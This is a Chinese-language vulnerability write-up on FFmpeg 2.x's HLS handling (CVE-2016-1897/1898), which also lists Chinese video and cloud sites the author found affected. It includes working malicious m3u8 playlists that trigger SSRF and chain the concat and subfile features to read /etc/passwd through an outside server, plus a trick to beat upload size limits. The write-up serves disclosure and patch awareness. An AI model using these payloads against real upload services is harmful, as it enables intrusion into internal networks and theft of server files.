Author:數據流(LeeFly)@伏宸安全實驗室
這段時間有不少漏洞突然爆發，就像這幾天的ImageMagick漏洞，橫掃國內互聯網。這一兩天在烏云@Noxxx首先發了兩個大廠商的FFmpeg的漏洞，然后也被其他白帽子陸續提交漏洞。影響范圍和嚴重性雖然沒有ImageMagick大，但也有不少大廠商中招，而它們共同之處都是處理文件的通用組件程序。可笑的是這個漏洞在上年五月份左右就被公布，并在國外一些CTF比賽中應用；直至現今國內的大廠商基本也都存在該漏洞。
FFmpeg是一套可以用來記錄、轉換數字音頻、視頻，并能將其轉化為流的開源計算機程序。功能非常強大，是每個視頻網站必不可少的多媒體文件處理程序。
在FFMpeg2.X 由于在解析HTTP Live Streaming流媒體m3u8文件處理不當，可導致SSRF漏洞與任意文件讀取漏洞。當網站允許用戶上傳多媒體文件，并使用FFMpeg進行處理時會觸發該漏洞。
這個漏洞有兩個CVE編號，分別是CVE-2016-1897和CVE-2016-1898，它們兩個的區別在于讀取文件的行數，CVE-2016-1897只能讀取文件的第一行，而CVE-2016-1898可以讀取文件任意行，原理基本一樣，這里就一起分析了。
由于漏洞是出現在解析HLS流媒體文件出的問題，所以我們必須先了解HLS。
HLS（HTTP Live Streaming）是Apple公司開發的一種基于HTTP協議的流媒體通信協議，大多數都應用在PC上和Iphone上。它的基本原理是把一個視頻流分成很多個很小很小很小的ts流文件，然后通過HTTP下載，每次下載一點點。在一個開始一個新的流媒體會話時，客戶端都會先下載一個m3u8（播放列表 Playlist）文件，里面包含了這次HLS會話的所有數據。
如圖所示，有一個主要的m3u8格式Playlist文件，里面可以包含下級的m3u8文件，客戶端會再去索引下級的m3u8，繼續解析下級的Playlist文件獲取最終的TS流文件的http請求地址與時間段。
http://pl.youku.com/playlist/m3u8?vid=340270152&type=3gphd&ts=1462714824&keyframe=0&ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9h2CgdNnAtQnS%2Bm2&sid=746271452251312590fab&token=3319&ctype=12&ev=1&oip=3395898128
這是youku一個視頻的m3u8文件，內容如下：
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXT-X-VERSION:2
#EXTINF:6,
http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=0&ts_end=5.9&ts_seg_no=0&ts_keyframe=1
#EXTINF:0,
http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=5.9&ts_end=6.367&ts_seg_no=1&ts_keyframe=1
#EXT-X-ENDLIST
解析：
這些是m3u8的最基本的標簽，而問題就出在FFMpeg去請求TS流文件的時，由于我們可以偽造一個m3u8文件，FFMpeg不會判斷里面的流地址，直接請求。
SSRF漏洞：
直接用FFMpeg解析一個多媒體文件
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://192.168.123.100:8080/1.html
#EXT-X-ENDLIST
（#EXT-X-MEDIA-SEQUENCE或#EXT-X-TARGETDURATION必須存在任意一個，前者是定義ts流文件的序號。去掉會報錯：無效文件）
ffmpeg -i test.m3u8 test.mp4（也可把m3u8格式改成其他后綴，ffmpeg會自動識別為HLS流文件）
直接發起了http請求，這就造成一個SSRF。
結合SSRF任意文件讀取：
FFMpeg支持很多擴展協議，其中的concat:協議可以合并多個流URL，官方稱為Physical concatenation protocol
這樣可以合并多個URL concat:URL1|URL2|...|URLN
新建一個主HLS文件h.m3u8在web服務器
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://xxx/test.txt|http://xxx/test.txt （這兩個txt都是m3u8,后綴可以隨便改，ffmpeg會自動識別）
#EXT-X-ENDLIST
再創建一個下級的m3u8文件 test.txt，最終的請求會引到最下級的m3u8文件,也就是這個test.txt
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://xxx.com/?
再用ffmpeg處理test.m3u8
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://xxx/h.m3u8
#EXT-X-ENDLIST
提示當讀取第一段的時候出錯，URL是http://xxx/?#EXTM3U，但我們建立的那個下級的m3u8文件 test.txt是http://xxx.com/?，多出來的“#EXTM3U，”這部分是用concat協議合并的那個txt，http://xxx/test.txt的第一行；而ffmpeg支持多種協議獲取輸入流，http、ftp、smb、file等，既然用concat協議可以讀取文件的第一行，那把http換成file協議就可以讀取本地文件了，漏洞就出在這里。
主m3u8文件改成concat:http://xxx/test.txt|file:///etc/passwd，再請求就能讀取到passwd文件的第一行，當然也可以讀取內網網站的信息。
但這樣就只能讀取一行，意義不大。但FFMpeg支持一個截取數據流片段的功能：subfile。用法：subfile,,start,153391104,end,268142592,,:/media/dvd/VIDEO_TS/VTS_08_1.VOB
Start后是開始截取的偏移量，以字節為單位，end是結束的偏移量。
既然可以截取數據流就可以利用subfile獲取比較完整的文件了。測試時候一次最多只能截取32字節，所以要繼續用concat合并多個數據流片段。
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://198.56.193.29:8080/test.txt|subfile,,start,0,end,31,,:file:///etc/passwd|subfile,,start,32,end,63,,:file:///etc/passwd|subfile,,start,64,end,95,,:file:///etc/passwd|subfile,,start,96,end,127,,:file:///etc/passwd|subfile,,start,127,end,158,,:file:///etc/passwd
#EXT-X-ENDLIST
這樣就可以讀取任意文件的任意內容
之前的ImageMagick漏洞因為有些網站有文件大小檢測而無法攻擊，在這個漏洞中的測試我也發現一些網站有對上傳視頻文件的大小限制。這里有方法可以擴充文件大小。
直接擴充#EXTINF，這個標簽前面說過，是代表TS流文件的時間長度，可以無限擴充，直到符合大小為止，仍可正常解析。
我測試了國內的很多云盤與視頻網站，[email protected]，360原盤等，后來我測試了ku6，愛奇藝，56，搜狐等等都存在該問題，愛奇藝的我已經提交了，另外發現的很多也就沒必要再提交了，刷洞沒意思，提交一個案例警示一下就足夠了。
以下總結一下在烏云報告過的FFMpeg漏洞：百度云盤文件讀取/SSRF、360云盤文件讀取/SSRF、愛奇藝主站某處FFmpeg漏洞可導致任意文件讀取、56視頻FFmpeg解析漏洞導致SSRF、搜狐視頻ffmpeg漏洞可文件讀取/SSRF、盛大某站存在SSRF可讀取本地文件&探測內網等等
總的來說威脅還是蠻大的，很多大型廠商都中槍。之前上傳圖片會被搞，現在上傳視頻也會被搞。這些處理文件的通用程序真是黑客的樂土啊。
目前該漏洞已在FFMpeg2.8.5中修復，請廣大用戶馬上升級。
97av